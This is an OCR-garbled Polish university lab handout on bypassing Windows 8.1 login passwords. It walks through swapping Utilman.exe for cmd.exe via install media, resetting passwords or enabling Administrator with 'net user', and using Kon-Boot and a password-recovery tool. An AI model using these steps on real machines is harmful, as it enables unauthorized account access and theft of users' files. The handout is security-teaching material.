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Politechnika Rzeszowska

BEZPIECZENSTWO SYSTEMOW | SIECI KOMPUTEROWYCH

Laboratorium zdalne nr 9:

Metody famania haset na przyktadzie Windows 8.1

1. Uzyskiwanie dostepu do konta lokalnego.

Aby uzyskac¢ dostep do konta lokalnego z zapomnianym lub nieznanym hastem potrzebujemy
tylko ptyty z zainstalowanym systemem operacyjnym.
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Windows 8.1 z utworzonymi uzytkownikami

Nastepnie nalezy w ustawieniach BIOS (w tym przypadku w ustawieniach programu)
bootowanie z ptyty, pendrive, obrazu ptyty w zaleznosci od tego jakim nosnikiem z systemem
dysponujemy.
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Dodawanie obrazu ISO do bootowania systemu ktéry atakujemy

Po wybraniu kolejnosci bootowania w BIOS (zmianie ustawie w systemie wirtualnym).
Nalezy zapisa¢ zmiany i ponownie uruchomié system.
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Menu wyboru jezyka

Gdy po zaakceptowaniu bootowania instalacji systemu pojawi sie powyzsze menu nalezy
wybra¢ odpowiadajgce nam jezyki i klikamy przycisk , Dalej”
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Menu wyboru instalacji lub naprawy systemu.

Po pojawieniu sie powyzszego okna nalezy wybrac¢ opcje ,,Napraw komputer”.
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Menu wyboru dalszych czynnosci.



Nastepnie wybieramy opcje Rozwigz problemy - Opcje zaawansowane - Wiersz
polecenia.
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Administrator: X:\windows\SYSTEM32\cmd.exe
Microsoft Windows [Uersion 6.3.96881
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Uruchomiony wiersz polecen

Po przejsciu przez wybrane opcje powinnysmy uzyskac okno konsoli (cmd).

ndows\SYSTEM32\cmd.exe
60061

Micr

% :\Sources>c:

G2\ Ddir
Uolume in drive C is ZastrzeZone
Uolume Serial Number is 64AB-518B

Directory of C:\

bo15-01-88  19:43
1 Pile<s> "
B Dirds> 92 458 816 hytes free

[E:\>dir
Uolume in drive E is IRM_CCSA_K64FRE_PL-FL_DUS
is FEA7-9557

Uolume Serial Number is
Directory of E:\

b613-08-23 37 autorun.inf
2013-08-23 o0t
3 bootmgr

boatmgr.efi
efi
setup.exe
sourc
support
360 bytes

4 Dirds) 0 hytes free

Uolume in drive D has no label.
Uolume Serial MNumber is AGA2-PE6?

Directory of D

<DIR>
<DIR> al iles
<DIR> am Files (xB6>
<DIR> sers
<DIR> Windows

File¢s> 8 hytes

5 Dirds> 16 948 879 368 bhytes free
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Wyszukiwanie dysku z atakowanym systemem operacyjnym.



Nastepnie za pomoca polecen ,c:”, ,dir”, ,d:”, ,dir” itd. odnajdujemy dysk zawierajgcy
zainstalowany system operacyjny na ktéorym préobujemy zmieni¢ zapomniane hasto.
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D= >dir

Uolume in drive D has no lahel.
Uolume Serial Number is ADAZ-9E67
Directory of Di%

<DIR> PerfLogs
<DIR> Program Files
Frogram Files {x86)

se
Windows

B Fileds» 8 hytes
5 Dir<s> 16 948 87% 360 hytes free

D:\>cd Windows-/System32

D= “Windows\§ysten32>copy cmd.exe omdKOPIA.exe
ile<s> copied.

D=“Windous\§ysten3Z>copy Utilman.exe UtilmanKOPIA.exe
ile<s> copied.

D:\Windows \Systen3Z>del Utilman.exe
[D:\Windows\System32>rename cmdKOPIA.exe Utilman.exe

D=\Windows \SystemdZ>exit
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Podmiana pliku Utiman.exe na plik cmd.exe.

Gdy odnalezlismy atakowany system nastepnie musimy przejs¢ do folderu System32
poleceniem: ¢d Windows/System32. Po poprawnym przejsciu do folderu musimy utworzy¢
kopie 2 plikéw: cmd.exe (copy cmd.exe cmdKOPIA.exe), Utilman.exe (copy Utilman.exe
UtilmanKopia.exe). Program cmd.exe to nic innego jak nasz konsola systemowa. Program
Utilman.exe jest to Centrum ufatwien dostepu. Dlaczego wybieramy ten program zobaczycie
w nastepnych krokach. Po utworzeniu kopii plikéw wykonywalnych programoéw nalezy
usunac plik Utilman.exe (del Utilman.exe) ,a nastepnie zmieni¢ nazwe plikowi cmdKOPIA.exe
na Utilman.exe (rename cmdKOPIA.exe Utilman.exe). Po zakonczeniu tych czynnosci
wpisujemy polecenie exit aby wyjs¢ z konsoli. Nastepnie w menu klikamy ,,Kontynuuj”.
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Alojzy Jan Kowalski

C\Windows\system32\utilman.exe

[Bystem nie moze znale2é komunikatu dla numeru komunikatu Bx2358 w pliku kemunikal
ow dla Application.

<c> 2013 Microsoft Corporation. Wszelkie praua_zastrzez
Ml magazynic hrak micjsca dla uykonania tego polecenia.

\Windous\systen32>.
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Uruchomienie konsoli z poziomu logowania do systemu.

Po uruchomieniu sie systemu podczas gdy wyglad ekranu logowania nie ulegt zmianie, nalezy
klikng¢ na ikone zaznaczong czerwonym koétkiem. Jest to podmieniony program Centrum

utatwien dostepu na konsole systemowa.
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Ch\Windows\system32\utilman.exe

Kystem nie moze znalezc komunikatu dla numeru komunikatu @x2358 w pliku kemunikal
Gu dla Applicatien.

<c> 2013 Microsoft Corporation. Uszelkie prawva_za:
\ magazynie brak niejsca dla wykonania tege poleceni

\Windows\system32>net user

[Konta uzytkownikdéw dla S\

0s,
[Zakoficzono wykonyuanie polecenia, pr czyn wystapil przynajmniej jeden bhlad.

s\indows\systen32>net user Alojey Testl
Polecenie zostalo wykenane pomyslnie.

s\Windows \systend2>.
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Zmiana hasta atakowanego konta lokalnego.



Nastepnie wpisujemy polecenie: net user, ktére wyswietla wszystkich uzytkownikéw
komputera. Gdy zobaczymy liste uzytkownikow nalezy wybrac z niej uzytkownika ktéremu
chcemy zmieni¢ hasto poleceniem (konto: Alojzy): net user Alojzy Testl. (Nazwa konta:
Alojzy, nowe hasto dla konta: Test1). Nastepnie poleceniem exit wychodzimy z konsoli. Hasto
na naszym koncie zostato zmienione i juz uzyskaliémy dostep do konta. Aby przywrdcié
poprzednig funkcje aplikacji Utilman.exe nalezy wykonac¢ polecenia od Printscreen 2.3 do
Printscreen 2.8 do polecenia cd Windows/System32 wtgcznie. Nastepnie nalezy usungc¢ plik
Utilman.exe (del Utilman.exe), nastepnie zmieni¢ nazwe pliku UtilmanKOPIA.exe na
Utilman.exe (rename UtilmanKOPIA.exe Utilman.exe). Wpisa¢ komende exit i nastepnie
wybrad , Kontynuuj”.

2. Uzyskiwanie dostepu do danych konta Microsoft.
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Windows 8.1 z utworzonym uzytkownikiem z hastem (konto Microsoft)

Wszystko robimy w taki sam sposdb jak w przyktadzie z kontem lokalnym do
PrintScreena 3.9., poniewaz nie mozemy zmienié w konsoli hasta uzytkownika z
poziomu konsoli systemowej musimy uaktywni¢ konto Administratora w systemie
(domyslinie jest ono nieaktywne). Jedyne co mozemy to uzyska¢ dostep do wszystkich
plikdow ktérych uzywat dany uzytkownik aby odzyskaé/ukrasé najwazniejsze
dokumenty uzytkownika.
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C\Windows\system32\utiiman.exe

tem nic moze znalezd komunikatu dla numeru komunikatu Bx2350 w pliku komunikal
dla Application.

(c)> 2013 Microsoft Corporation. Wszelkic prawa_zast
M nagazunie brak micjsca dla wykonania tego polecenia.

s\Windous\systend2>
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PrintScreen 2.2: Uruchomienie konsoli z poziomu logowania do systemu.
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Basia Jan Kowalski

C\Windows\system32\utilman.exe

Systen nie moze znalezé konunikatu dla numeru komunikatu @x2358 w pliku konmunikal
tou dla Application.

Kc> 2013 Microsoft Corporation. Uszelkie praua zastrzezone.
W magazynie brak miejsca dla wykonania tege polecenia.

IC:\Windous\systen32>net user

Konta uzytkounikéu dla \\

Adninistrator
Gosé Jan” Kowalski
Zakohczono uykonywanie polecenia, przy czym wystapil przynajmniej jeden blad

IC: \Windous\systen32onet user Adninistrator Testl sactive:yes
[Polecenie zostale wykenane ponyélnie.

IC: \Windous \systen32dexit
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Aktywowanie konta Administratora.

Nastepnie nalezy uruchomi¢ ponownie komputer.
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Wybor konta do zalogowania.
Uzyskujemy dostep do wszystkich plikdw systemu, poniewaz mamy uprawnienia
Administratora wiec takze dostep do folderu Moje dokumentu uzytkownika

atakowanego.
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Dostep do danych z konta Jan Kowalski (konto Microsoft).



3. Kon-Boot 2.3

Za pomocg programu Kon-Boot mozna bez znajomosci hasta uzytkownika dosta¢ sie do systemu
operacyjnego. Nalezy przygotowaé bootowalng ptyta lub pendriva i po ponownym uruchomieniu
komputera pojawi sie ponizsze okno. Nastepnie po zatadowaniu systemu kazde stworzone konto
nie bedzie posiadato hasta. Jedynym minusem tego rozwigzania jest brak mozliwosci zalogowanie
sie na konto potgczone z kontem Microsoft (hasto nie ulega zmianie). Po wyjeciu bootowalnej
ptyty badz pendrive wszystko wraca do stanu poprzedniego (o ile nie dokonaliSmy zadnych zmian
w koncie na ktére sie logowalismy). Jest to bardzo wygodne narzedzie jezeli potrzebujemy bardzo
szybkiego dostepu do kazdego konta.
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Kon-Boot ver. 2.3 - ready?! 32-64bit tt?

Please note this software is protected by copyright laws.
Checking SMAP BIOS entries ...
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Okno tadowania programu Kon-Boot.
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4. Windows Password Recorvery
Za pomocg programu Windows Password Recorvery mozna w sposdb bardzo szybki uzyskac
hasta wszystkich uzytkownikéw utworzonych na komputerze. Niestety program ten jest
programem ptatnym, a w wers;ji testowej program odkrywa tylko pierwsze 3 litery hastfa. Jednak
na potrzeby laboratorium na utworzonych obrazach jest petna wersja programu.
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Menu start z wyszukaniem programu Windows Password Recorvery.
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Uruchomione okno programu Windows Password Recorvery.
Po uruchomieniu programu nalezy wybrac opcje import aby aplikacja mogta pobrac pliki z

zaszyfrowanymi hastami systemu.
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Odzyskiwanie haset wszystkich uzytkownikow systemu.

Dtugosé¢ odzyskiwania hasta zalezy z ilu i jakich znakdw sie sktada. Najprostsze hasta

odszyfrowane sg w pare sekund, a te bardziej ztozone ze znakéw specjalnych sg duzo ciezsze do

rozszyfrowania i moze to trwac ok. 10 minut.

12



Machne View Devices Help

LR R S [T hepon T
P o v rome W s W A Wi Seogiin
o | Ddpdminstrer W@ <k @ <Emptp WhuSamans kents 3 sdrnatromsns ks .
5 opena et il bl B TIFEMBLSEC SMALTORA
Ll fytmia W g <Emptp o love SDEEECODTIRYI TTEBEAMAEAKITIE
W snein e W kg o <Emgty Whudowant kento 4o dostepy do kempie..
e prejet ik Homelouplsess W g <Emetyr & "C/Md}=+ CHKC AR M "MAIREAT s proC'_Ped-WsnFa e/ 3")A-Y* @S HIAPISN.. BEATAS
§m|w;:: 01 o okt WG <Ewy AT RS R TG
new e
faines >

[ Jrep———"
[ Eep——
3 imsort oy fies

20 Losgram anctrur program
1§ Losamam symen et

telp
@ Ot oaats

3 tew
B Aveut

Luniquehishes e fowd
Starsng recovery prefiminary attack]

ot HTLIM pastword ot i Bast: (ove]
Soppngrecony peebminay mack)

Found HTLM password for user Aoy [querty §45)
Recovery stopped

J G I

o
FEETTF IR

Odszyfrowane wszystkie hasta systemu Windows.
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